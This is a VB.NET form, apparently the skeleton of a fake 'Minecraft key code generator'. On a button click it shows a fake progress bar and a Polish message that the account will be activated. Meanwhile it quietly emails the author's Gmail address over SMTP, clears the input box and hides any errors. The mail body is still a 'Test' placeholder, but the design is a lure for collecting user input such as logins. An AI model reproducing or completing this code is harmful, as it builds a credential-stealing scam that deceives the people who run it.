Imports System
Imports System.Threading
Imports System.Net.Mail

Public Class Form1
    Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click

    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Timer1.Start()

        Try
            Dim Smtp_Server As New SmtpClient
            Dim mail As New MailMessage()

            Smtp_Server.UseDefaultCredentials = False
            Smtp_Server.Credentials = New Net.NetworkCredential("minecraftkeycodegenerator@gmail.com", "** TUTAJ HASŁO **")
            Smtp_Server.Port = 587
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = "smtp.gmail.com"

            mail = New MailMessage()
            mail.From = New MailAddress("minecraftkeycodegenerator@gmail.com")
            mail.To.Add("minecraftkeycodegenerator@gmail.com")
            mail.Subject = "Test"
            mail.IsBodyHtml = False
            mail.Body = "Test"

            Smtp_Server.Send(mail)
            TextBox1.Text = ""

        Catch ex As Exception
        End Try
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = 100 Then
            Label2.Text = "Konto zostanie aktywowane"
        End If
    End Sub
End Class